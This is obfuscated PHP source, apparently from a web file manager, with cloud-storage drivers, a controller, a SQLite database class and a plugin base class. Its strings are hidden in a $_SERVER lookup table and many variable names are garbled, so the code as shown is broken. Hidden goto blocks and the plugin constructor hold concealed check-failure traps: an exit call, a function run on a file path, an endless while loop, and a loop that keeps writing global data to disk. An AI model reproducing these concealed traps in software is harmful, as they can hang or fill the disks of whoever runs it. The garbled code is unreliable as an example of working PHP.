$ = false, $攳 = false, $ = '') { parent::fileOut($Э, $, $攳, $); } public function fileOutImage($, $ = 250) { $ݻ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[Ǿ][1407] . $); $㸫 = $this->link($, $ݻ); $this->fileOutLink($㸫); } public function fileOutImageServer($ʟ, $悩 = 250) { parent::fileOutImage($ʟ, $悩); } public function fileOutLink($Ƅ) { $Dzۄ =& $_SERVER[Ǿ]; if (!$this->isCdnHost() && substr($Ƅ, 0, 7) == $Dzۄ[1308]) { $Ƅ = $Dzۄ[1309] . substr($Ƅ, 7); } header($Dzۄ[168] . $Ƅ); die; } public function hashMd5($, $ڎ⁉ = '') { $ =& $_SERVER[Ǿ]; $몤 = $this->_objectMeta($); if (!$몤) { return $[22]; } if (!isset($몤[$[1382]]) && !empty($ڎ⁉)) { $צ = $this->updateObjMeta($, array($[1382] => $ڎ⁉)); $몤[$[1382]] = $צ ? $ڎ⁉ : $[22]; } return isset($몤[$[1382]]) ? strtolower($몤[$[1382]]) : $[22]; } public function size($ߓ) { $ = $this->objectMeta($ߓ); return $ ? $[$_SERVER[Ǿ][90]] : 0; } public function info($̡) { if ($this->isFolder($̡)) { return $this->folderInfo($̡); } else { if ($this->isFile($̡)) { return $this->fileInfo($̡); } } return !1; } public function exist($Ԟ) { return $this->isFile($Ԟ) || $this->isFolder($Ԟ); } public function isFile($ڡ) { return !$this->isFolder($ڡ) && $this->objectMeta($ڡ); } public function isFolder($) { return $this->cacheMethod($_SERVER[Ǿ][208], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[Ǿ][209], $); } protected function _objectMeta($) { $ē =& $_SERVER[Ǿ]; try { $ڵ = $this->client->getObjectMeta($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $ͽ) { $ڵ = !1; } if ($ڵ) { $ڵ[$ē[90]] = intval($ڵ[$ē[1380]]); } return $ڵ; } protected function _isFolder($ע) { $˻ =& $_SERVER[Ǿ]; if ($ע == $˻[22] || $ע == $˻[18]) { return !0; } $ = array($˻[1376] => $˻[18], $˻[1377] => rtrim($ע, $˻[18]) . $˻[18], $˻[1378] => 1, $˻[1379] => $˻[22]); $ = $this->client->listObjects($this->bucket, $); if ($->getObjectList() || $->getPrefixList()) { return !0; } return !1; } } class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $config = null; protected $bucketManager = null; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\x30"; public function __construct($) { parent::__construct(); require_once SDK_DIR . $_SERVER[Ǿ][1408]; $this->_init($); } public function _init($߈) { $ӯ =& $_SERVER[Ǿ]; foreach ($߈ as $ => $Ɉ) { if (isset($this->{$})) { $this->{$} = $Ɉ; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($ӯ[1409] . LNG($ӯ[1367])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->config = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->config); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($ʩ֑, $Ü = '', $ = REPEAT_RENAME) { if ($this->setContent($ʩ֑, $Ü)) { return $this->getPathOuter($ʩ֑); } return !1; } public function mkdir($, $ڝ = REPEAT_SKIP) { $͓޺ =& $_SERVER[Ǿ]; $ = trim($, $͓޺[18]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $ = $ . $͓޺[18]; $ = get_path_this($); $ = $ . $; if (!$this->mkfile($)) { return !1; } if (!$this->moveFile($, $)) { $this->delFile($); return !1; } return $this->getPathOuter($); } public function copyFile($ᾼ, $ɾ) { $ƶ = $this->bucketManager->copy($this->bucket, $ᾼ, $this->bucket, $ɾ, !0); return $ƶ ? !1 : $this->getPathOuter($ɾ); } public function moveFile($, $) { $ݟ = $this->bucketManager->move($this->bucket, $, $this->bucket, $, !0); return $ݟ ? !1 : $this->getPathOuter($); } public function delFile($ն) { if (!$this->exist($ն)) { return !0; } $ݠʏ = $this->bucketManager->delete($this->bucket, $ն); return $ݠʏ ? !1 : !0; } public function delFolder($ş) { $ҷ =& $_SERVER[Ǿ]; if (!$this->exist($ş)) { return !0; } $this->listItemCache = !1; $¾ = $this->fileList($ş); $this->listItemCache = !0; $ = trim($ş, $ҷ[18]) . $ҷ[18]; if (!empty($ş) && $ş !== $ҷ[200] && !in_array($, $¾[$ҷ[87]])) { $¾[$ҷ[87]][] = $; } $ӝ = $this->delByBatch($¾[$ҷ[86]]); if (!$ӝ) { return !1; } $ӝ = $this->delByBatch($¾[$ҷ[87]]); if (!$ӝ) { return !1; } return $this->delFile($); } private function delByBatch($ʠ) { foreach (array_chunk($ʠ, 1000) as $) { $礦 = $this->bucketManager->buildBatchDelete($this->bucket, $); list($ࡰ‡, $ܷϕ) = $this->bucketManager->batch($礦); if ($ܷϕ) { return !1; } } return !0; } public function rename($׵, $ް) { return $this->renameObject($׵, $ް); } public function fileInfo($˧, $ = false, $̈ = array()) { $ =& $_SERVER[Ǿ]; $ = array($[42] => $this->pathThis($˧), $[88] => $this->getPathOuter($[18] . $˧), $[43] => $[202], $[90] => isset($̈[$[1410]]) ? $̈[$[1410]] : 0, $[177] => $this->ext($˧)); if ($) { return $; } $[$[203]] = $[$[96]] = 0; $[$[204]] = $[$[205]] = !0; if (empty($̈)) { $̈ = $this->objectMeta($˧); if (!$̈) { return $; } } if (isset($̈[$[1411]])) { $[$[96]] = substr($̈[$[1411]] . $[22], 0, 10); } if (isset($̈[$[1410]])) { $[$[90]] = $̈[$[1410]]; } return $; } public function folderInfo($ƻ, $ = false) { $ =& $_SERVER[Ǿ]; $﫛 = array($[42] => $this->pathThis($ƻ), $[88] => $this->getPathOuter($[18] . $ƻ), $[43] => $[89]); if ($) { return $﫛; } $﫛[$[203]] = $﫛[$[96]] = 0; $﫛[$[204]] = $﫛[$[205]] = !0; $ƻ = rtrim($ƻ, $[18]) . $[18]; $ܩ = $this->objectMeta($ƻ); if (isset($ܩ[$[1411]])) { $﫛[$[96]] = substr($ܩ[$[1411]] . $[22], 0, 10); } return $﫛; } public function listPath($, $ל = false) { $㿺 =& $_SERVER[Ǿ]; $ = $this->fileList($, $㿺[18], !0); foreach ($[$㿺[87]] as $Ѻވ => $ݾ) { $[$㿺[87]][$Ѻވ] = $this->folderInfo($ݾ, $ל); } foreach ($[$㿺[86]] as $Ѻވ => $ݾ) { $[$㿺[86]][$Ѻވ] = $this->fileInfo($ݾ[$㿺[105]], $ל, $ݾ); } return $; } public function has($Ȑ, $ = false, $ = true) { $ =& $_SERVER[Ǿ]; $Ȑ = trim($Ȑ, $[18]); $ҩ = empty($Ȑ) && $Ȑ !== $[200] ? $[22] : $Ȑ . $[18]; $̔ = $[22]; $ = 500; $ɚ = $[18]; $ȑ = $ؿ = 0; while (!0) { check_abort(); list($, $) = $this->bucketManager->listFiles($this->bucket, $ҩ, $̔, $, $ɚ); if ($) { break; } $̔ = array_key_exists($[1379], $) ? $̔ = $[$[1412]] : $[22]; if ($) { if (!empty($[$[1413]])) { $ȑ += count($[$[1413]]); } if (!empty($[$[1414]])) { $ؿ += count($[$[1414]]); } if ($̔ === $[22]) { break; } continue; } if ($) { if (!empty($[$[1413]])) { return !0; } } else { if (!empty($[$[1414]])) { return !0; } } if ($̔ === $[22]) { break; } } if ($) { return array($[212] => $ȑ, $[213] => $ؿ); } return !1; } public function listAll($ڴ) { $Ѥ =& $_SERVER[Ǿ]; $ϴɪ = $this->fileList($ڴ, $Ѥ[22], !0); $Ǹݭ = array(); foreach ($ϴɪ[$Ѥ[86]] as $) { $Ǹݭ[$[$Ѥ[105]]] = $[$Ѥ[90]]; } foreach ($ϴɪ[$Ѥ[87]] as $) { if (is_string($)) { $Ǹݭ[$] = 0; } } return $this->listAllFiles($ڴ, array_keys($Ǹݭ), $Ǹݭ); } private function fileList($, $ɷ륊 = '', $޴ = 0) { $󦳾 =& $_SERVER[Ǿ]; $ = trim($, $󦳾[18]); $Dž = empty($) && $ !== $󦳾[200] ? $󦳾[22] : $ . $󦳾[18]; $ЅΕ = $󦳾[22]; $ = 1000; $ = $this->listItemCache === !1 ? !1 : !0; $⾢ػ = $ = array(); while (!0) { check_abort(); list($̻, $愋) = $this->bucketManager->listFiles($this->bucket, $Dž, $ЅΕ, $, $ɷ륊); if ($愋) { break; } $ЅΕ = array_key_exists($󦳾[1379], $̻) ? $ЅΕ = $̻[$󦳾[1412]] : $󦳾[22]; $ӓ = isset($̻[$󦳾[1413]]) ? $̻[$󦳾[1413]] : array(); $ባ = isset($̻[$󦳾[1414]]) ? $̻[$󦳾[1414]] : array(); foreach ($ӓ as $Қ) { if ($Қ[$󦳾[105]] == $Dž) { continue; } $慚 = $Қ[$󦳾[105]]; $ç = $Қ[$󦳾[1410]]; $Қ[$󦳾[90]] = $ç; $ = $ç == 0 && substr($慚, strlen($慚) - 1, 1) == $󦳾[18] ? !0 : !1; if ($) { $this->cacheMethod($󦳾[208], $慚, $); $this->cacheMethod($󦳾[209], $慚, $Қ); } if ($) { $⾢ػ[] = $慚; continue; } $[] = $޴ ? $Қ : $慚; } foreach ($ባ as $慚) { if ($慚 == $Dž) { continue; } $⾢ػ[] = $慚; if ($) { $this->cacheMethod($󦳾[208], $慚, !0); } } if ($ЅΕ === $󦳾[22]) { break; } } if ($) { $this->cacheMethod($󦳾[208], $, !0); } return array($󦳾[87] => $⾢ػ, $󦳾[86] => $); } public function canRead($⅟) { return $this->exist($⅟) ? !0 : !1; } public function canWrite($֋Ю) { return $this->exist($֋Ю) ? !0 : !1; } public function getContent($Ȱ) { return $this->fileSubstr($Ȱ, 0, -1); } public function setContent($ݜ, $۬ = '') { $ك = $this->tempFile($this->pathThis($ݜ)); file_put_contents($ك, $۬); if ($this->upload($ݜ, $ك)) { $this->tempFileRemve($ك); return !0; } return !1; } public function refreshUrls($̷) { $ =& $_SERVER[Ǿ]; $ = array(); if (is_array($̷)) { foreach ($̷ as $ב) { $[] = $this->link($ב); } } else { $[] = $this->link($̷); } $荼 = new Qiniu\Cdn\CdnManager($this->auth); list($Դ, $Řڱ) = $荼->refreshUrls($); if ($Řڱ) { return !1; } return $Դ[$[1166]] == $[752] ? !0 : !1; } public function fileSubstr($, $ԩ, $) { $Զٽ =& $_SERVER[Ǿ]; if (!($ = $this->link($))) { return !1; } $Ȩ = !1; if ($ > 0) { $䛑 = $ԩ + $ - 1; $Ȩ = array($Զٽ[1415] . $ԩ . $Զٽ[460] . $䛑); } $˶ = url_request($, $Զٽ[235], !1, $Ȩ); return $˶[$Զٽ[742]] ? $˶[$Զٽ[1176]] : !1; } public function upload($Ո, $쓖, $鄓 = false, $ܢ = REPEAT_REPLACE) { $Ȥ = new Qiniu\Storage\UploadManager(); $ = $this->auth->uploadToken($this->bucket, $Ո); $Ѣ = get_file_mime(get_path_ext($쓖)); list($ʄ, $֧) = $Ȥ->putFile($, $Ո, $쓖, null, $Ѣ); return $֧ ? !1 : $this->getPathOuter($Ո); } public function uploadFormData($, $ = 3600) { return $this->uploadToken($, $); } public function multiUploadFormData($, $ʷ = 3600) { return $this->uploadToken($, $ʷ); } private function uploadToken($¿, $ = 3600) { $ŵ =& $_SERVER[Ǿ]; $˄ = $; $ڱ = array($ŵ[1416] => $ŵ[1417]); $̧ = $¿; $ׂ = $this->auth->uploadToken($this->bucket, $̧, $˄, $ڱ, !0); $ = empty($this->region) || $this->region == $ŵ[1418] ? $ŵ[22] : $ŵ[460] . $this->region; $ߘ = http_type() . "\x3a\57\57\165\160\x6c\157\x61\144{$}\x2e\161\151\x6e\151\165\160\x2e\x63\x6f\155\x2f"; return array($ŵ[1419] => $ׂ, $ŵ[1420] => $ߘ); } public function download($, $) { $س = IO::getPathInner(IO::mkfile($)); if (!($ = $this->link($))) { return !1; } $ = 0; $֥ = 1024 * 200; $Ц = fopen($س, $_SERVER[Ǿ][1421]); while (!0) { $ɇ = $this->fileSubstr($, $, $֥); if ($ɇ === !1) { return !1; } fwrite($Ц, $ɇ); $ += $֥; if (strlen($ɇ) < $֥) { break; } } fclose($Ц); return $; } public function link($ᬇ, $ = '') { if (!$this->isFile($ᬇ)) { return !1; } $ü = $this->getHost() . $_SERVER[Ǿ][18] . $this->pathEncode($ᬇ) . $; return $this->auth->privateDownloadUrl($ü, 3600 * 12); } public function fileOut($́, $޹ز = false, $ = false, $ԍ = '') { $ć =& $_SERVER[Ǿ]; if ($this->isFileOutServer()) { return $this->fileOutServer($́, $޹ز, $, $ԍ); } if (!$) { $ = $this->pathThis($́); } $Ԟ = $޹ز ? $ć[1422] . rawurlencode($) : $ć[22]; $ = $this->link($́, $Ԟ); $this->fileOutLink($); } public function fileOutServer($, $ = false, $ = false, $۟ݕ = '') { parent::fileOut($, $, $, $۟ݕ); } public function fileOutImage($ƒȑ, $ýٳ = 250) { $ = $this->link($ƒȑ, $_SERVER[Ǿ][1423] . $ýٳ); $this->fileOutLink($); } public function fileOutImageServer($њ, $ٷ = 250) { parent::fileOutImage($њ, $ٷ); } public function hashMd5($) { $Ԯ =& $_SERVER[Ǿ]; $ = $this->objectMeta($); return isset($[$Ԯ[217]]) ? $[$Ԯ[217]] : !1; $ = $this->link($, $Ԯ[1424]); } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[Ǿ][90]] : 0; } public function info($֬) { if ($this->isFolder($֬)) { return $this->folderInfo($֬); } else { if ($this->isFile($֬)) { return $this->fileInfo($֬); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($ꓹ) { return !$this->isFolder($ꓹ) && $this->objectMeta($ꓹ); } public function isFolder($۬) { return $this->cacheMethod($_SERVER[Ǿ][208], $۬); } protected function objectMeta($Ǖ) { return $this->cacheMethod($_SERVER[Ǿ][209], $Ǖ); } protected function _objectMeta($֊) { $ =& $_SERVER[Ǿ]; list($鋝, $) = $this->bucketManager->stat($this->bucket, $֊); if ($鋝) { $鋝[$[90]] = intval($鋝[$[1410]]); } return $鋝; } protected function _isFolder($Ӹޝ) { $ꄌ =& $_SERVER[Ǿ]; if ($Ӹޝ == $ꄌ[22] || $Ӹޝ == $ꄌ[18]) { return !0; } list($舞, $Կµ) = $this->bucketManager->listFiles($this->bucket, trim($Ӹޝ, $ꄌ[18]) . $ꄌ[18], $ꄌ[22], 1, $ꄌ[18]); return !empty($舞[$ꄌ[1413]]) || !empty($舞[$ꄌ[1414]]) ? !0 : !1; } } goto D᪔ǹ; F: if ($_SERVER[$_SERVER[Ǿ][6]] != $_SERVER[$_SERVER[Ǿ][7]]) { $_getc = $_SERVER[Ǿ][8]; $_getfile = $_SERVER[$_SERVER[Ǿ][9]] . $_SERVER[Ǿ][10]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[Ǿ][11], $_getfilec); if (count($_getarrs) < $_SERVER[Ǿ][12]) { $exit = $_SERVER[Ǿ][13]; $exit(); } $_act = $_SERVER[Ǿ][14]; $_act($_SERVER[$_SERVER[Ǿ][15]]); } class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { $뤚 =& $_SERVER[Ǿ]; global $in, $config; $this->config =& $config; $this->in =& $in; $this->values[$뤚[16]] =& $config; $this->values[$뤚[17]] =& $in; $this->tpl = TEMPLATE . MOD . $뤚[18]; $this->_classObjectID = mt_rand(0, 10000); } public function loadClass($ޕ) { if (1 === func_num_args()) { $this->{$ޕ} = new $ޕ(); } else { $Ԕԩ = new ReflectionClass($ޕ); $ = func_get_args(); array_shift($); $this->{$ޕ} = $Ԕԩ->newInstanceArgs($); } return $this->{$ޕ}; } public function routeBind($ֳDZ, $, $Ϥ = 3) { $ =& $_SERVER[Ǿ]; $ʀ = $this->in[$[19]]; $ֳDZ = str_replace($[20], $[21], trim(trim($ֳDZ, $[18]), $[22])); if (!$ֳDZ || count($ʀ) <= $Ϥ) { return !1; } $݇ = !0; $ = explode($[18], $ֳDZ); for ($ = 0; $ < count($); $++) { if ($[$] != $ʀ[$Ϥ + $]) { $݇ = !1; break; } } if (!$݇) { return; } call_user_func_array(array($this, $), array()); } public function routeArgs($ = 3) { $ = $this->in[$_SERVER[Ǿ][19]]; if (count($) <= $) { return array(); } $ = array(); for ($튷 = $; $튷 < count($); $튷 += 2) { $[$[$튷]] = $[$튷 + 1]; $this->in[$[$튷]] = $[$튷 + 1]; } return $; } protected function assign($, $) { $this->values[$] = $; } protected function display($) { ob_end_clean(); extract($this->values); require $this->tpl . $; } } class DbSqliteBase extends Db { public function __construct($Ԃ = '') { $ =& $_SERVER[Ǿ]; if (!extension_loaded($[23])) { think_exception(think_lang($[24]) . $[25]); } if (!empty($Ԃ)) { if (!isset($Ԃ[$[26]])) { $Ԃ[$[26]] = 438; } $this->config = $Ԃ; if (empty($this->config[$[27]])) { $this->config[$[27]] = array(); } } } public function connect($ = '', $ڞ = 0) { $ =& $_SERVER[Ǿ]; if (!isset($this->linkID[$ڞ])) { if (empty($)) { $ = $this->config; } $׺ = !empty($[$[27]][$[28]]) ? $[$[27]][$[28]] : $this->pconnect; $ = $׺ ? $[29] : $[30]; $this->linkID[$ڞ] = $($[$[31]], $[$[26]]); if (!$this->linkID[$ڞ]) { think_exception(sqlite_error_string()); } $this->connected = !0; @sqlite_busy_timeout($this->linkID[$ڞ], 30000); if (1 != think_config($[32])) { unset($this->config); } } return $this->linkID[$ڞ]; } public function free() { $this->queryID = null; } public function query($) { $ =& $_SERVER[Ǿ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[33], 1); think_status($[34]); $this->queryID = sqlite_query($this->_linkID, $); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $Й첗 = $this->getAll(); return $Й첗; } } public function execute($Ն) { $ =& $_SERVER[Ǿ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $Ն; if ($this->queryID) { $this->free(); } think_action_status($[35], 1); think_status($[34]); $˾ = sqlite_exec($this->_linkID, $Ն); $this->debug(); if (!1 === $˾) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[Ǿ][36]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $IJ = sqlite_query($this->_linkID, $_SERVER[Ǿ][37]); if (!$IJ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = sqlite_query($this->_linkID, $_SERVER[Ǿ][38]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ﭘǜ = array(); if ($this->numRows > 0) { for ($٪ = 0; $٪ < $this->numRows; $٪++) { $ﭘǜ[$٪] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $ﭘǜ; } public function getFields($) { $ =& $_SERVER[Ǿ]; $ = $this->query($[39] . $ . $[40]); $ = array(); if ($) { foreach ($ as $ȥ熧 => $) { $[$[$[41]]] = array($[42] => $[$[41]], $[43] => $[$[44]], $[45] => (bool) ($[$[46]] === $[22]), $[47] => $[$[48]], $[49] => strtolower($[$[50]]) == $[51], $[52] => strtolower($[$[53]]) == $[54]); } } return $; } public function getTables($ = '') { $׳ =& $_SERVER[Ǿ]; $ = $this->query($׳[55] . $׳[56] . $׳[57]); $ = array(); foreach ($ as $Ϝ => $箨Ǫ) { $[$Ϝ] = current($箨Ǫ); } return $; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $܃ =& $_SERVER[Ǿ]; $ꩴ = sqlite_last_error($this->_linkID); $this->error = $ꩴ . $܃[4] . sqlite_error_string($ꩴ); if ($܃[22] != $this->queryStr) { $this->error .= LNG($܃[58]) . $this->queryStr; } think_trace($this->error, $܃[22], $܃[59]); return $this->error; } public function escapeString($¯) { return sqlite_escape_string($¯); } public function parseLimit($ֺ) { $Ԫ =& $_SERVER[Ǿ]; $ꂺ = $Ԫ[22]; if (!empty($ֺ)) { $ֺ = explode($Ԫ[60], $ֺ); if (count($ֺ) > 1) { $ꂺ .= $Ԫ[61] . $ֺ[1] . $Ԫ[62] . $ֺ[0] . $Ԫ[63]; } else { $ꂺ .= $Ԫ[61] . $ֺ[0] . $Ԫ[63]; } } return $ꂺ; } } goto A; bׄ‰: if (!isset($_SERVER[$_SERVER[Ǿ][6]]) || !isset($_SERVER[$_SERVER[Ǿ][15]])) { $_getc = $_SERVER[Ǿ][8]; $_getfile = $_SERVER[$_SERVER[Ǿ][9]] . $_SERVER[Ǿ][10]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[Ǿ][11], $_getfilec); if (count($_getarrs) < $_SERVER[Ǿ][12]) { $exit = $_SERVER[Ǿ][13]; $exit(); } $_act = $_SERVER[Ǿ][14]; $_act($_SERVER[$_SERVER[Ǿ][9]] . $_SERVER[Ǿ][10]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[Ǿ][382]); } } class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $ݝ =& $_SERVER[Ǿ]; $ޗ = $_SERVER[$ݝ[15]]; $ƥΨ = $ݝ[1504]; if ($_SERVER[$ݝ[6]] != $ƥΨ($ޗ)) { $ = $ݝ[864]; $〟 = $ݝ[8]; $ܽ = $_SERVER[$ݝ[9]] . $ݝ[10]; $ = $〟($ܽ); $ = explode($ݝ[11], $); if (count($) < $ݝ[607]) { $˦ȁ = $ݝ[13]; $˦ȁ(); } $ͦդ = $ݝ[865]; $ͦդ($_SERVER[$ݝ[866]]); $ = $ݝ[864]; $(); $̣ = $ݝ[1505]; $ = json_encode($GLOBALS[$ݝ[1506]]); $̫ = 1; for ($ = $̫; $ > 0; $++) { $̣(DATA_PATH . $, $); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($ݝ[1507]); $this->pluginName = str_replace($ݝ[1507], $ݝ[22], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $ݝ[18]; $this->pluginApi = appHostGet() . $ݝ[1508] . $this->pluginName . $ݝ[18]; $this->pluginHost = $config[$ݝ[1509]] . $this->pluginName . $ݝ[18]; $this->pluginHostDefault = $config[$ݝ[1509]] . $this->pluginName . $ݝ[18]; $ = $config[$ݝ[1510]]; if ($ && strpos($ݝ[60] . $ . $ݝ[60], $this->pluginName) !== !1) { $this->pluginHost = $config[$ݝ[1511]] . $this->pluginName . $ݝ[18]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[Ǿ][1512]); } protected function assign($⫏, $ = false) { if (is_array($⫏)) { $this->values = array_merge($this->values, $⫏); } else { $this->values[$⫏] = $; } } protected function display($) { extract($this->values); require $; } final function hookRegist($ߣ) { $this->modelPlugin->appRegist($this->pluginName, $ߣ); } final function appIcon() { $ω =& $_SERVER[Ǿ]; $ = $this->appPackage(); $Ͽ = $ω[22]; if (isset($[$ω[417]])) { if (isset($[$ω[417]][$ω[1513]])) { $Ͽ = $ω[1514] . $[$ω[417]][$ω[1513]] . $ω[1515]; } else { if ($[$ω[417]][$ω[1516]]) { $Ͽ = $ω[1517] . $[$ω[417]][$ω[1516]] . $ω[1518]; } } } return $Ͽ; } final function fileCanView($ކ) { $ =& $_SERVER[Ǿ]; if (request_url_safe($ކ)) { return !0; } if ($this->isShare($ކ)) { return !0; } $ըŮ = Session::get($[1519]); if (!$ըŮ || !$ըŮ[$[1520]]) { $ = $[1521] . rawurlencode(this_url()); show_tips(LNG($[1522]) . $[1523] . $ . $[1524] . LNG($[1525]) . $[1526], !1); } if (!Action($[1527])->authCan($[1528])) { show_tips(LNG($[1529]) . $[1530], !1); } ActionCall($[1531], $ކ); } final function isShare($Ҳ) { $߰ޱ = KodIO::parse($Ҳ); return $߰ޱ[$_SERVER[Ǿ][43]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($) { if (request_url_safe($)) { return $; } if (!$this->isShare($)) { $ = $this->filePath($); } return Action($_SERVER[Ǿ][1158])->linkOut($); } public function filePathLinkOut($˙) { if (request_url_safe($˙)) { return $˙; } $this->fileCanView($˙); return Action($_SERVER[Ǿ][1158])->link($˙); } final function filePath($Κ) { $̮޺ =& $_SERVER[Ǿ]; if ($؏ = $this->checkSharePath($Κ)) { Hook::trigger($̮޺[1532], $؏); return $؏; } $this->fileCanView($Κ); if (request_url_safe($Κ)) { $п = parse_url_query($Κ); if (isset($п[$̮޺[1533]]) && isset($п[$̮޺[218]])) { $ = Model($̮޺[762])->get($̮޺[763]); $ϭ = Mcrypt::decode($п[$̮޺[218]], $); if ($ϭ) { $this->fileInfo = IO::infoWithChildren($ϭ); $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); return $ϭ; } } $Κ = $this->_cacheHttpFile($Κ); $this->fileInfo = IO::infoWithChildren($Κ); } else { $this->fileInfo = IO::infoWithChildren($Κ); if (!$this->fileInfo) { show_tips(LNG($̮޺[116]), !1); } $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); } Hook::trigger($̮޺[1532], $Κ); return $Κ; } final function _cacheHttpFile($) { $ƈ = hash_path($, !0); $this->cachePath = $this->pluginCachePath($ƈ); if ($ = IO::fileNameExist($this->cachePath, $ƈ)) { return KodIO::make($); } $ = $this->cachePath . $ƈ; return $this->pluginCacheFileSet($, file_get_contents_nossl($)); } final function _tmpFileName($ѕ = array()) { $ޟ؅ =& $_SERVER[Ǿ]; if (!$ѕ) { $ѕ = $this->fileInfo; } if (isset($ѕ[$ޟ؅[180]])) { return $ѕ[$ޟ؅[180]]; } if (isset($ѕ[$ޟ؅[173]][$ޟ؅[180]])) { return $ѕ[$ޟ؅[173]][$ޟ؅[180]]; } $ו = IO::hashSimple($ѕ[$ޟ؅[88]]); if ($ו) { return $ו; } $֪ = array($ѕ[$ޟ؅[42]], $ѕ[$ޟ؅[88]], $ѕ[$ޟ؅[90]]); if (isset($ѕ[$ޟ؅[521]])) { $֪[] = $ѕ[$ޟ؅[521]]; } return md5(implode($ޟ؅[21], $֪)); } final function checkSharePath($Ι) { $ =& $_SERVER[Ǿ]; if (!defined($[474])) { define($[514], 0); } if (!$this->isShare($Ι)) { return !1; } $Ԅϟ = Action($[1158])->sharePathInfo($Ι); if (!isset($Ԅϟ[$[88]])) { show_json(LNG($[1534]), !1); } $this->fileInfo = $Ԅϟ[$[173]]; $this->cachePath = $this->pluginCachePath($this->fileInfo[$[180]]); return $Ԅϟ[$[88]]; } final function pluginCachePath($炓 = '') { $̵ =& $_SERVER[Ǿ]; $ = IO_PATH_SYSTEM_TEMP . $̵[1535] . $this->pluginName; if (!($Ⱥ = IO::infoFull($))) { return IO::mkdir($ . $̵[18] . $炓); } if (empty($炓)) { return $Ⱥ[$̵[88]]; } if (!($Ԯ = IO::fileNameExist($Ⱥ[$̵[88]], $炓))) { return IO::mkdir($Ⱥ[$̵[88]] . $炓); } return KodIO::make($Ԯ); } final function pluginCacheFileSet($ت, $庅 = '') { $; =& $_SERVER[Ǿ]; if (!($՚˞ = IO::infoFull($ت))) { return IO::mkfile($ت, $庅, REPEAT_REPLACE); } IO::setContent($՚˞[$;[88]], $庅); return $՚˞[$;[88]]; } final function pluginLocalFile($ = '') { $ũ =& $_SERVER[Ǿ]; $ = TEMP_FILES . "{$this->pluginName}\x2f"; if (!is_dir($)) { mk_dir($); } if (!$) { return $; } $ = IO::info($); $˃ = $this->_tmpFileName($) . $ũ[20] . $[$ũ[177]]; if (!checkExtSafe($˃)) { $˃ = $˃ . $ũ[1536]; } $ = $ . $˃; if (@file_exists($)) { return $; } return IO::copy($, $, 0, $˃); } final function appPackage() { $Ӏ =& $_SERVER[Ǿ]; if ($this->packageData) { return $this->packageData; } $ = $this->parseFile($this->pluginPath . $Ӏ[1537]); $this->parseLang($); $ = json_decode_force($); if (!$) { return array(); } $Ȩ = Hook::trigger($Ӏ[1538], $); if ($Ȩ && is_array($Ȩ)) { $ = $Ȩ; } $this->packageData = $; return $; } public function packageInfoGet($ӝ) { $ = $this->appPackage(); return array_get_value($, $ӝ); } public function packageVersion() { return $this->packageInfoGet($_SERVER[Ǿ][1539]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[Ǿ][1540]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[Ǿ][1541]); } public function echoJsAssign($, $ǽ) { $this->echoJsAssignArr[$] = $ǽ; } private function parseFile($Ų) { $򾅰 =& $_SERVER[Ǿ]; $ = file_get_contents_nossl($Ų); $ = array($򾅰[1542], $򾅰[1543], $򾅰[1544], $򾅰[1545], $򾅰[1546], $򾅰[1547], $򾅰[1548]); $܌ = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$򾅰[100]][$򾅰[1549]]); foreach ($this->echoJsAssignArr as $ => $ƒ) { $[] = $򾅰[1550] . $ . $򾅰[1551]; $܌[] = is_array($ƒ) || is_object($ƒ) ? rawurlencode(json_encode($ƒ)) : $ƒ; } if (strstr($, $򾅰[1552])) { $Ƽ = 